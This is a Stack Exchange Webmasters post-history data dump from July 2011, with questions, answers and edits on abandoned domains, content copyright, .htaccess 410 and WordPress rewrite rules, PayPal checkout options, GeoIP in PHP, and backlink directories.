  <row Id="40049" PostHistoryTypeId="1" PostId="16754" RevisionGUID="b415d2b3-fe6a-4b59-bb65-fec39be29d95" CreationDate="2011-07-13T04:57:12.320" UserId="1155" Text="How can I obtain a domain that is abandoned?" />
  <row Id="40050" PostHistoryTypeId="3" PostId="16754" RevisionGUID="b415d2b3-fe6a-4b59-bb65-fec39be29d95" CreationDate="2011-07-13T04:57:12.320" UserId="1155" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="40051" PostHistoryTypeId="2" PostId="16755" RevisionGUID="d66eac88-c3bf-4ac6-807d-cd2824c4c333" CreationDate="2011-07-13T05:26:09.617" UserId="2115" Text="How can I use someone other's article/post on my own website? What is the legal way of doing this? Usually what I do is that I mention the **source** from where I got that post. Is there any other way? What ways do you follow to prevent yourself from copyright issues? Can I just use their content and not mention their name? Can I use a hidden HTML link of the source? " />
  <row Id="40052" PostHistoryTypeId="1" PostId="16755" RevisionGUID="d66eac88-c3bf-4ac6-807d-cd2824c4c333" CreationDate="2011-07-13T05:26:09.617" UserId="2115" Text="Using other's contents in your website." />
  <row Id="40053" PostHistoryTypeId="3" PostId="16755" RevisionGUID="d66eac88-c3bf-4ac6-807d-cd2824c4c333" CreationDate="2011-07-13T05:26:09.617" UserId="2115" Text="&lt;copyright&gt;&lt;duplicate-content&gt;" />
  <row Id="40054" PostHistoryTypeId="2" PostId="16756" RevisionGUID="247a5870-afc0-4155-9fd9-abaeca8406fe" CreationDate="2011-07-13T05:27:32.143" UserId="2115" Text="If someone else is copying my website's content then what should I do? " />
  <row Id="40055" PostHistoryTypeId="1" PostId="16756" RevisionGUID="247a5870-afc0-4155-9fd9-abaeca8406fe" CreationDate="2011-07-13T05:27:32.143" UserId="2115" Text="What can I do if I found my website's content being copied by another website?" />
  <row Id="40056" PostHistoryTypeId="3" PostId="16756" RevisionGUID="247a5870-afc0-4155-9fd9-abaeca8406fe" CreationDate="2011-07-13T05:27:32.143" UserId="2115" Text="&lt;copyright&gt;&lt;duplicate-content&gt;" />
  <row Id="40057" PostHistoryTypeId="2" PostId="16757" RevisionGUID="292472ab-8695-4141-9d4a-cb6281998311" CreationDate="2011-07-13T06:07:31.227" UserId="6776" Text="&#xD;&#xA;I want to permanently delete some pages in my site using 410 status. I'm not able to find the syntax of indicating each page as deleted in the .htaccess. How can I do it?" />
  <row Id="40058" PostHistoryTypeId="1" PostId="16757" RevisionGUID="292472ab-8695-4141-9d4a-cb6281998311" CreationDate="2011-07-13T06:07:31.227" UserId="6776" Text="What is the syntax for using 410 status for deleted pages?" />
  <row Id="40059" PostHistoryTypeId="3" PostId="16757" RevisionGUID="292472ab-8695-4141-9d4a-cb6281998311" CreationDate="2011-07-13T06:07:31.227" UserId="6776" Text="&lt;http&gt;" />
  <row Id="40060" PostHistoryTypeId="5" PostId="16757" RevisionGUID="1b198852-1bc9-401c-bf24-68a0dc585e5c" CreationDate="2011-07-13T06:21:27.283" UserId="6776" Comment="added 373 characters in body" Text="I want to permanently delete some pages in my site using 410 status. I'm not sure of correct syntax of removing pages using 410.&#xD;&#xA;&#xD;&#xA;I've found one syntax and I've a page( duplicate product page content) to remove : http://www.creditcardpaymentgateways.in/indiapay-payment-gateway-frequently-asked-questionsfaq.html&#xD;&#xA;&#xD;&#xA;so will this syntax do?&#xD;&#xA;&#xD;&#xA;    RewriteRule ^indiapay-payment-gateway-frequently-asked-questionsfaq.html$ - [G,L] &#xD;&#xA;&#xD;&#xA;In my site I have a couple of duplicate product pages which I want to remove as my site is getting penalized. " />
  <row Id="40061" PostHistoryTypeId="2" PostId="16758" RevisionGUID="945133db-4938-434e-b7b4-989ac67261e4" CreationDate="2011-07-13T06:31:21.983" UserId="8931" Text="I need to implement PayPal on my web page, and I don't know which one to use, Paypal Payments Standard or Paypal Express Checkout or both. To me they seems pretty much the same." />
  <row Id="40062" PostHistoryTypeId="1" PostId="16758" RevisionGUID="945133db-4938-434e-b7b4-989ac67261e4" CreationDate="2011-07-13T06:31:21.983" UserId="8931" Text="What is the diffrence between paypal Paypal Payments Standard and Paypal Express Checkout ?" />
  <row Id="40063" PostHistoryTypeId="3" PostId="16758" RevisionGUID="945133db-4938-434e-b7b4-989ac67261e4" CreationDate="2011-07-13T06:31:21.983" UserId="8931" Text="&lt;paypal&gt;&lt;payment&gt;&lt;checkout&gt;" />
  <row Id="40064" PostHistoryTypeId="25" PostId="16754" RevisionGUID="1cd39b55-f294-4380-b9c5-d02797826c9f" CreationDate="2011-07-13T06:31:27.833" Comment="http://twitter.com/#!/StackWebmasters/status/91031969193922560" />
  <row Id="40065" PostHistoryTypeId="2" PostId="16759" RevisionGUID="48ec2261-35f1-4724-b8a6-9cf1cc87f4ff" CreationDate="2011-07-13T06:41:52.937" UserId="8169" Text="The fact that there is no website doesn't mean that domain name is not used: there can be a mail server or something else. Anyway, it looks like the owner doesn't want to give it away by some reasons" />
  <row Id="40066" PostHistoryTypeId="2" PostId="16760" RevisionGUID="5e636b8f-97e3-4d8b-8a57-ce98da531111" CreationDate="2011-07-13T07:17:57.757" UserId="8933" Text="I've some trouble with typo3 (mydomain.net) and wordpress (mydomain.net/blog/) using mod_rewrite.&#xD;&#xA;&#xD;&#xA;First I was running a typo3 installation which uses mod_rewirte without trouble.&#xD;&#xA;Now I'm trying to run a wordpress too, but if wordpress uses mod_rewrite, every click of a link bing me back to the index of my typo3.&#xD;&#xA;&#xD;&#xA;The filestructure of my ftp-folder:&#xD;&#xA;&#xD;&#xA;* /html/ (contains the typo3 files and folders and the .htaccess-file) &#xD;&#xA;* /html/blog/ (contains the wordpress files and folders)&#xD;&#xA;&#xD;&#xA;This is the content of the .htaccess:&#xD;&#xA;&#xD;&#xA;	RewriteEngine On&#xD;&#xA;&#xD;&#xA;	RewriteRule ^(typo3|t3lib|tslib|fileadmin|typo3conf|typo3temp|uploads|showpic\.php|favicon\.ico)/ - [L]&#xD;&#xA;&#xD;&#xA;	RewriteRule ^typo3$ typo3/index_re.php [L]&#xD;&#xA;&#xD;&#xA;	RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;	RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;	RewriteCond %{REQUEST_FILENAME} !-l&#xD;&#xA;&#xD;&#xA;	RewriteRule .* index.php [L]&#xD;&#xA; &#xD;&#xA;Any ideas as to what I should do? Or is it possible that only one cms uses mod_rewrite?" />
  <row Id="40067" PostHistoryTypeId="1" PostId="16760" RevisionGUID="5e636b8f-97e3-4d8b-8a57-ce98da531111" CreationDate="2011-07-13T07:17:57.757" UserId="8933" Text="How do I get mod_rewrite working with typo and wordpress?" />
  <row Id="40068" PostHistoryTypeId="3" PostId="16760" RevisionGUID="5e636b8f-97e3-4d8b-8a57-ce98da531111" CreationDate="2011-07-13T07:17:57.757" UserId="8933" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="40069" PostHistoryTypeId="2" PostId="16761" RevisionGUID="3a06bd69-ddaf-41da-b6f6-b2739a248be8" CreationDate="2011-07-13T07:19:13.607" UserId="7198" Text="Obtaining an abandoned domain is almost as hard as trying to 'drop catch' an expired one.&#xD;&#xA;&#xD;&#xA;It makes no difference that the domain does not appear to be in use; so long as it has not expired, it still belongs to the registrant. As such, negotiating with them is your best chance to obtain the domain before it expires.&#xD;&#xA;&#xD;&#xA;But what if the registrant's contact information appears to be bad? In this case, that's an advantage, and it makes the chance of you obtaining the domain higher than if the registrant had kept their information up to date. Why? Because there's an official process for forcing the release of domains which use invalid Whois data. Here's how it works.&#xD;&#xA;&#xD;&#xA;###Step 1: file a report&#xD;&#xA;You should first file a 'Whois data problem report'. You can do this in two ways (pick one or both):&#xD;&#xA;&#xD;&#xA; 1. Using InteNIC's [Whois data problem report](http://wdprs.internic.net/) form.&#xD;&#xA; 2. By searching for the domain with GoDaddy's [Whois lookup service,](http://who.godaddy.com/) scrolling to the bottom of the right-hand column, and clicking 'report invalid whois.':&#xD;&#xA;&#xD;&#xA; ![reporting an invalid Whois record with GoDaddy][1]&#xD;&#xA;&#xD;&#xA;###Step 2: wait it out&#xD;&#xA;Once it's reported, GoDaddy have an obligation to attempt to contact the registrant to ask them to correct their registration data. They supposedly have a full-time team whose job it is to do this. GoDaddy first charges the registrant a fixed fee of about $10 for not having kept the Whois data up to date ([source](http://domainnamewire.com/2007/03/15/invalid-whois-godaddy-charges-995/)), then emails them to explain the steps that the registrant needs to take to correct their data. From here, one of two things will happen:&#xD;&#xA;&#xD;&#xA; 1. The registrant will correct their Whois data, and you may be able to contact them.&#xD;&#xA; 2. The registrant won't reply. This is good news for you, because you now have a genuine chance to snag the domain at a fraction of the cost you might have agreed were you able to contact the registrant directly.&#xD;&#xA;&#xD;&#xA;###Step 3: get ready to catch the expiring domain&#xD;&#xA;If the registrant's phone number on the account is unreachable or the emails that GoDaddy send trying to contact them bounce, they 'suspend' the domain, which places a public suspension notice on the URL, and send the registrant an email asking them to contact GoDaddy's support team. If no further contact is made within a fixed period (about 60 days), GoDaddy will terminate the domain, which forces it to expire and become available for registration again within 75 days.&#xD;&#xA;&#xD;&#xA;Registering a domain that's in the process of expiring is harder than it sounds, because several companies (including GoDaddy!) monitor expiring domains and re-register good names straight away to sell or sit on. You could use GoDaddy's [backordering](http://www.godaddy.com/domainaddon/domain-alert.aspx) service (as soon as you've reported the incorrect Whois record) to attempt to become 'first in the queue' should the domain expire. Because the domain's registered through GoDaddy, this should be enough to acquire it assuming no-one backordered it before you, but you may wish to follow the advice presented in [this article](http://www.mikeindustries.com/blog/archive/2005/03/how-to-snatch-an-expiring-domain) and use a 'drop catching' service, who try to register the domain for you should GoDaddy's backorder service fail to take effect for some reason.&#xD;&#xA;&#xD;&#xA;I have successfully registered one domain using the process described above. It took about 150 days from start to finish, during which time I had completely forgotten that I'd backordered the domain and registered a different one instead! It's a lengthy process, and you may wish to simply pick a different name.&#xD;&#xA;&#xD;&#xA;But, in summary, having invalid Whois data makes domain acquisition a tiny bit easier. It's one of the main reasons you should keep your own Whois data up to date, or use a Whois privacy service and be sure to pay attention to all incoming emails from your registrar, so you don't mistake ones needing action for marketing email.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/dm2jy.png" />
  <row Id="40070" PostHistoryTypeId="2" PostId="16762" RevisionGUID="ba223caa-1467-43a3-ba9f-ed1568fd84b7" CreationDate="2011-07-13T07:46:51.740" UserId="7198" Text="**Assume that you can't reuse content unless told otherwise.**&#xD;&#xA;&#xD;&#xA;Unless the page specifically states that the content is licensed for reuse under a Creative Commons licence or similar, or the work is in the [public domain](http://en.wikipedia.org/wiki/Public_domain), you should assume that content is not licensed for reuse, and not reuse it in any way.&#xD;&#xA;&#xD;&#xA;You can find content that *is* licensed for reuse with [Google's Advanced Search](http://www.google.com/advanced_search). From their page on [usage rights](http://www.google.com/support/websearch/bin/answer.py?&amp;&amp;answer=29508):&#xD;&#xA;&#xD;&#xA;&gt; &quot;The usage rights filter on the Advanced Search page shows you pages&#xD;&#xA;&gt; that are either labeled with a Creative Commons license or labeled as&#xD;&#xA;&gt; being in the public domain.&quot;&#xD;&#xA;&#xD;&#xA;You can also use the [Creative Commons search](http://search.creativecommons.org/) tool to find works that are licensed for reuse.&#xD;&#xA;&#xD;&#xA;It's important to respect peoples' rights on this one; publishing content on the Internet does not transfer any rights to people who can access that content, nor does it put content into the public domain in the legal sense. The copyright automatically belongs to the content's author, be it a person or a company, and they alone are the only ones who can licence its reuse.&#xD;&#xA;&#xD;&#xA;If you can't see a license and you want to reuse content, contact the author to ask if it's OK. If they don't reply, assume that you cannot use it. Contacting them does not transfer any rights to you. You need a reply in writing approving reuse.&#xD;&#xA;&#xD;&#xA;If you are currently reusing content, and the original author has not provided a licence on the page to do that or otherwise given you permission in writing, you should stop stealing their content. Write your own, hire writers, or use Creative Commons -licensed work instead.&#xD;&#xA;&#xD;&#xA;Finally, even if content's licensed for reuse, there may be provisos attached to its reuse. The standard [Creative Commons Licence](http://creativecommons.org/licenses/by/2.0/), for example, requires that you attribute the work to its original author in whatever manner they ask you to, often with a simple link, but sometimes with a specific paragraph of text." />
  <row Id="40071" PostHistoryTypeId="5" PostId="16761" RevisionGUID="b29b4b81-c7dc-4301-8fa6-6a4bb9ad8192" CreationDate="2011-07-13T07:51:29.787" UserId="7198" Comment="deleted 560 characters in body" Text="There's an official process for forcing the release of domains which use invalid Whois data:&#xD;&#xA;&#xD;&#xA;###Step 1: file a report&#xD;&#xA;You should first file a 'Whois data problem report'. You can do this in two ways (pick one or both):&#xD;&#xA;&#xD;&#xA; 1. Using InteNIC's [Whois data problem report](http://wdprs.internic.net/) form.&#xD;&#xA; 2. By searching for the domain with GoDaddy's [Whois lookup service,](http://who.godaddy.com/) scrolling to the bottom of the right-hand column, and clicking 'report invalid whois.':&#xD;&#xA;&#xD;&#xA; ![reporting an invalid Whois record with GoDaddy][1]&#xD;&#xA;&#xD;&#xA;###Step 2: wait it out&#xD;&#xA;Once it's reported, GoDaddy have an obligation to attempt to contact the registrant to ask them to correct their registration data. They supposedly have a full-time team whose job it is to do this. GoDaddy first charges the registrant a fixed fee of about $10 for not having kept the Whois data up to date ([source](http://domainnamewire.com/2007/03/15/invalid-whois-godaddy-charges-995/)), then emails them to explain the steps that the registrant needs to take to correct their data. From here, one of two things will happen:&#xD;&#xA;&#xD;&#xA; 1. The registrant will correct their Whois data, and you may be able to contact them.&#xD;&#xA; 2. The registrant won't reply. This is good news for you, because you now have a genuine chance to snag the domain at a fraction of the cost you might have agreed were you able to contact the registrant directly.&#xD;&#xA;&#xD;&#xA;###Step 3: get ready to catch the expiring domain&#xD;&#xA;If the registrant's phone number on the account is unreachable or the emails that GoDaddy send trying to contact them bounce, they 'suspend' the domain, which places a public suspension notice on the URL, and send the registrant an email asking them to contact GoDaddy's support team. If no further contact is made within a fixed period (about 60 days), GoDaddy will terminate the domain, which forces it to expire and become available for registration again within 75 days.&#xD;&#xA;&#xD;&#xA;Registering a domain that's in the process of expiring is harder than it sounds, because several companies (including GoDaddy!) monitor expiring domains and re-register good names straight away to sell or sit on. You could use GoDaddy's [backordering](http://www.godaddy.com/domainaddon/domain-alert.aspx) service (as soon as you've reported the incorrect Whois record) to attempt to become 'first in the queue' should the domain expire. Because the domain's registered through GoDaddy, this should be enough to acquire it assuming no-one backordered it before you, but you may wish to follow the advice presented in [this article](http://www.mikeindustries.com/blog/archive/2005/03/how-to-snatch-an-expiring-domain) and use a 'drop catching' service, who try to register the domain for you should GoDaddy's backorder service fail to take effect for some reason.&#xD;&#xA;&#xD;&#xA;I have successfully registered one domain using the process described above. It took about 150 days from start to finish, during which time I had completely forgotten that I'd backordered the domain and registered a different one instead! It's a lengthy process, and you may wish to simply pick a different name.&#xD;&#xA;&#xD;&#xA;In summary, when a domain is still active and the Whois data is valid, your only chance of snagging it is to contact the registrant. But when the Whois data is invalid, it actually makes domain acquisition a tiny bit easier. It's one of the main reasons you should keep your own Whois data up to date, or use a Whois privacy service and be sure to pay attention to all incoming emails from your registrar, so you don't mistake ones needing action for marketing email.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/dm2jy.png" />
  <row Id="40072" PostHistoryTypeId="5" PostId="16762" RevisionGUID="4740d3b2-b06c-413e-8fd7-a6a49bee284f" CreationDate="2011-07-13T08:00:25.427" UserId="7198" Comment="edited body" Text="**Assume that you can't reuse content unless told otherwise.**&#xD;&#xA;&#xD;&#xA;Unless the page specifically states that the content is licensed for reuse under a Creative Commons licence or similar, or the work is in the [public domain](http://en.wikipedia.org/wiki/Public_domain), you should assume that content is not licensed for reuse, and not reuse it in any way.&#xD;&#xA;&#xD;&#xA;You can find content that *is* licensed for reuse with [Google's Advanced Search](http://www.google.com/advanced_search). From their page on [usage rights](http://www.google.com/support/websearch/bin/answer.py?&amp;&amp;answer=29508):&#xD;&#xA;&#xD;&#xA;&gt; &quot;The usage rights filter on the Advanced Search page shows you pages&#xD;&#xA;&gt; that are either labeled with a Creative Commons license or labeled as&#xD;&#xA;&gt; being in the public domain.&quot;&#xD;&#xA;&#xD;&#xA;You can also use the [Creative Commons search](http://search.creativecommons.org/) tool to find works that are licensed for reuse.&#xD;&#xA;&#xD;&#xA;It's important to respect people's rights on this one; publishing content on the Internet does not transfer any rights to people who can access that content, nor does it put content into the public domain in the legal sense. The copyright automatically belongs to the content's author, be it a person or a company, and they alone can license its reuse.&#xD;&#xA;&#xD;&#xA;If you can't see a licence and you want to reuse content, contact the author to ask if it's OK. If they don't reply, assume that you cannot use it. Contacting them does not transfer any rights to you. You need a reply in writing approving reuse.&#xD;&#xA;&#xD;&#xA;If you are currently reusing content, and the original author has not provided a licence on the page to do that or otherwise given you permission in writing, you should stop stealing their content. Write your own, hire writers, or use Creative Commons -licensed work instead.&#xD;&#xA;&#xD;&#xA;Finally, even if content's licensed for reuse, there may be provisos attached to its reuse. The standard [Creative Commons Licence](http://creativecommons.org/licenses/by/2.0/), for example, requires that you attribute the work to its original author in whatever manner they ask you to, often with a simple link, but sometimes with a specific paragraph of text." />
  <row Id="40074" PostHistoryTypeId="2" PostId="16763" RevisionGUID="98caeb83-4468-43c3-be69-624fb35fd8a1" CreationDate="2011-07-13T08:12:58.410" UserId="7198" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily." />
  <row Id="40075" PostHistoryTypeId="2" PostId="16764" RevisionGUID="9899ba60-5837-45ae-b354-8bae23b2c0b5" CreationDate="2011-07-13T08:20:38.107" UserId="7198" Text="Your rewrite rule is fine for the page that's been deleted. It will return a 410 error for that page only.&#xD;&#xA;&#xD;&#xA;If there's a good reason to keep any of the duplicate pages, you can use a [canonical link tag](http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html) in the head of the duplicate page, containing the preferred URL you want Google to use when indexing those pages. e.g.:&#xD;&#xA;&#xD;&#xA;`&lt;link rel=&quot;canonical&quot; href=&quot;http://www.yoursite.in/payment.html&quot; /&gt;`" />
  <row Id="40076" PostHistoryTypeId="2" PostId="16765" RevisionGUID="2fb7e074-b91f-4f47-938f-141accc3b7d2" CreationDate="2011-07-13T08:40:19.463" UserId="7198" Text="PayPal Payments Standard allows users to pay by card even if they don't have a PayPal account. PayPal Express Checkout requires that users have a PayPal account or create one in order to check out. Both services are detailed on PayPal's [merchant page.](https://merchant.paypal.com/cgi-bin/marketingweb?cmd=_render-content&amp;content_ID=merchant/product_services&amp;nav=2.1)&#xD;&#xA;&#xD;&#xA;You should use **PayPal Express Checkout** if:&#xD;&#xA;&#xD;&#xA;1. You already process regular card payments with a form on your website using another provider (and you're looking to add PayPal as an additional checkout method).&#xD;&#xA;2. You know that the vast majority of your visitors will have PayPal accounts.&#xD;&#xA;&#xD;&#xA;You should use **PayPal Payments Standard** if:&#xD;&#xA;&#xD;&#xA;1. You need to be able to take card payments from people without PayPal accounts, but you don't currently offer a way to process cards on your website.&#xD;&#xA;2. If you've read this answer and still don't understand the difference, Payments Standard is probably the one to choose.&#xD;&#xA;&#xD;&#xA;You can, of course, include both if you wish, and label the Payments Standard checkout method as 'pay with card' and the Express checkout method as 'pay with PayPal'." />
  <row Id="40077" PostHistoryTypeId="2" PostId="16766" RevisionGUID="12983280-86a0-49a4-820e-48bcbf63150a" CreationDate="2011-07-13T08:46:34.763" UserId="7801" Text="We have a new graphic/web design site that we've created and we'd like to give it a boost in terms of back links.&#xD;&#xA;&#xD;&#xA;What are the obvious places to submit a website to achieve some good back links? And what would be the recurring work load (if any) that those back links would need? Are there any good industry specific websites we could submit a profile to?&#xD;&#xA;&#xD;&#xA;E.g Twitter, would need constant interaction and new content with back links to the website." />
  <row Id="40078" PostHistoryTypeId="1" PostId="16766" RevisionGUID="12983280-86a0-49a4-820e-48bcbf63150a" CreationDate="2011-07-13T08:46:34.763" UserId="7801" Text="Good places to submit a business profile?" />
  <row Id="40079" PostHistoryTypeId="3" PostId="16766" RevisionGUID="12983280-86a0-49a4-820e-48bcbf63150a" CreationDate="2011-07-13T08:46:34.763" UserId="7801" Text="&lt;seo&gt;&lt;google&gt;&lt;backlinks&gt;" />
  <row Id="40080" PostHistoryTypeId="5" PostId="16763" RevisionGUID="5bb1a294-e038-4f39-a45c-4c2160be3102" CreationDate="2011-07-13T08:47:30.113" UserId="7198" Comment="added 464 characters in body" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily.&#xD;&#xA;&#xD;&#xA;If you don't see an `.htaccess` file or an error message, create the [default .htaccess file](http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29) manually containing the following:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress" />
  <row Id="40081" PostHistoryTypeId="5" PostId="16766" RevisionGUID="25a430a9-561e-4eb9-92eb-d002a9e0dc38" CreationDate="2011-07-13T09:17:39.633" UserId="7801" Comment="Added DMOZ example" Text="We have a new graphic/web design site that we've created and we'd like to give it a boost in terms of back links.&#xD;&#xA;&#xD;&#xA;What are the obvious places to submit a website to achieve some good back links? And what would be the recurring work load (if any) that those back links would need? Are there any good industry specific websites we could submit a profile to?&#xD;&#xA;&#xD;&#xA;E.g Twitter, would need constant interaction and new content with back links to the website.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;I've always felt it's worth it but after several years trying to submit different websites, I've never successfully managed to get a site into DMOZ!!" />
  <row Id="40082" PostHistoryTypeId="25" PostId="16758" RevisionGUID="6d7fb032-5f28-4d19-8f8e-15428bcc7898" CreationDate="2011-07-13T09:31:29.150" Comment="http://twitter.com/#!/StackWebmasters/status/91077272525750272" />
  <row Id="40083" PostHistoryTypeId="5" PostId="16763" RevisionGUID="36c19113-f6f1-44d3-910f-47552689b76a" CreationDate="2011-07-13T09:42:30.613" UserId="7198" Comment="added 78 characters in body" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily.&#xD;&#xA;&#xD;&#xA;If you don't see an `.htaccess` file or an error message, create the [default .htaccess file](http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29) manually containing the following, which specifies the subdirectory you installed WordPress in as `/blog/`:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /blog/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress" />
  <row Id="40084" PostHistoryTypeId="5" PostId="16763" RevisionGUID="acbcbb76-6b56-4ac6-9272-aa1209ec73b8" CreationDate="2011-07-13T09:50:29.980" UserId="7198" Comment="added 5 characters in body" Text="Generate a WordPress-specific `.htaccess` file in your `/blog/` directory by logging into the WordPress admin area, clicking 'Permalinks' (under the 'Settings' header), scrolling to the bottom of the page, and clicking 'Save Changes'. &#xD;&#xA;&#xD;&#xA;This will force WordPress to create its default `.htaccess` file in your `/blog/` directory, which includes all mod_rewrite rules. If you see a message stating that the `.htaccess` file couldn't be created, copy the code in the error message and create the `.htaccess` file yourself. By default, the WordPress `.htaccess` rules should override the rules of your typo3 installation, so both CMSes should co-exist happily.&#xD;&#xA;&#xD;&#xA;If you don't see an `.htaccess` file or an error message, create the [default .htaccess file](http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29) manually containing the following, which specifies the subdirectory you installed WordPress in as `/blog/`:&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /blog/&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /blog/index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress" />
  <row Id="40085" PostHistoryTypeId="2" PostId="16767" RevisionGUID="4f89d4d0-e0da-4f3c-a8d7-1911548c7377" CreationDate="2011-07-13T10:01:21.090" UserId="7588" Text="An alternative to browser locale (which may not be reliable from a BOT) you can use Geo-IP (as a module on your Apache webserver or with PHP). The Geo-IP option may also make more sense if you have a product to sell.&#xD;&#xA;&#xD;&#xA;In your index.php for php module version of GeoIP:&#xD;&#xA;&#xD;&#xA;    include(&quot;geoip/geoip.inc&quot;);&#xD;&#xA;    $gi = geoip_open(&quot;location/to/geoip/GeoIP.dat&quot;,GEOIP_STANDARD);&#xD;&#xA;    $country=geoip_country_code_by_addr($gi, $_SERVER['REMOTE_ADDR']);&#xD;&#xA;    geoip_close($gi);&#xD;&#xA;&#xD;&#xA;If you want to use the Apache module:&#xD;&#xA;&#xD;&#xA;    $country=$_SERVER['GEOIP_COUNTRY_CODE'];&#xD;&#xA;&#xD;&#xA;Thereafter you can put together a big 'if' or 'case' construct in your index.php to work with whatever code you have to render your page." />
  <row Id="40086" PostHistoryTypeId="2" PostId="16768" RevisionGUID="e7db65d9-b743-4083-9013-79c2cbefbc9e" CreationDate="2011-07-13T10:02:43.777" UserId="7198" Text="You might consider:&#xD;&#xA;&#xD;&#xA; - The [Alltop](http://alltop.com) blog directory. (Requires you keep a blog updated, and that your content is useful.)&#xD;&#xA; - The ever-growing list of [CSS directories and site design showcases](http://www.cssish.com/).&#xD;&#xA; - The [Krop](http://www.krop.com/) creative database. (Create a profile and include a link back to your main site in your company/personal resume.)&#xD;&#xA; - The [Sortfolio](http://sortfolio.com/) directory of web designers.&#xD;&#xA; - Submitting posts to respected web-related blogs with open calls for writers, such as [Think Vitamin,](http://thinkvitamin.com/write-for-us/) [A List Apart,](http://www.alistapart.com/contribute/) and [Smashing Magazine.](http://www.smashingmagazine.com/how-to-become-a-smashing-magazine-author/)" />
  <row Id="40088" PostHistoryTypeId="5" PostId="16762" RevisionGUID="413b756b-e29d-4bce-a0d4-7c5ec548b428" CreationDate="2011-07-13T10:16:49.567" UserId="7198" Comment="added 110 characters in body" Text="**Assume that you can't reuse content unless told otherwise.**&#xD;&#xA;&#xD;&#xA;Unless the page specifically states that the content is licensed for reuse under a Creative Commons licence or similar, or the work is in the [public domain](http://en.wikipedia.org/wiki/Public_domain), you should assume that content is not licensed for reuse, and not reuse it in any way.&#xD;&#xA;&#xD;&#xA;You can find content that *is* licensed for reuse with [Google's Advanced Search](http://www.google.com/advanced_search). From their page on [usage rights](http://www.google.com/support/websearch/bin/answer.py?&amp;&amp;answer=29508):&#xD;&#xA;&#xD;&#xA;&gt; &quot;The usage rights filter on the Advanced Search page shows you pages&#xD;&#xA;&gt; that are either labeled with a Creative Commons license or labeled as&#xD;&#xA;&gt; being in the public domain.&quot;&#xD;&#xA;&#xD;&#xA;You can also use the [Creative Commons search](http://search.creativecommons.org/) tool to find works that are licensed for reuse.&#xD;&#xA;&#xD;&#xA;It's important to respect people's rights on this one; publishing content on the Internet does not transfer any rights to people who can access that content, nor does it put content into the public domain in the legal sense. The copyright automatically belongs to the content's author, be it a person or a company, and they alone can license its reuse.&#xD;&#xA;&#xD;&#xA;If you can't see a licence and you want to reuse content, contact the author to ask if it's OK. If they don't reply, assume that you cannot use it. Contacting them does not transfer any rights to you. You need a reply in writing approving reuse.&#xD;&#xA;&#xD;&#xA;If you are currently reusing content, and the original author has not provided a licence on the page to do that or otherwise given you permission in writing, you should stop stealing their content. Write your own, hire writers, or use Creative Commons -licensed work instead.&#xD;&#xA;&#xD;&#xA;Finally, even if content's licensed for reuse, there may be provisos attached to its reuse. The standard [Creative Commons Licence](http://creativecommons.org/licenses/by/2.0/), for example, requires that you attribute the work to its original author in whatever manner they ask you to, often with a simple link, but sometimes with a specific paragraph of text. This text should be visible. It is not OK to hide attribution text with CSS, JavaScript, or any other method." />
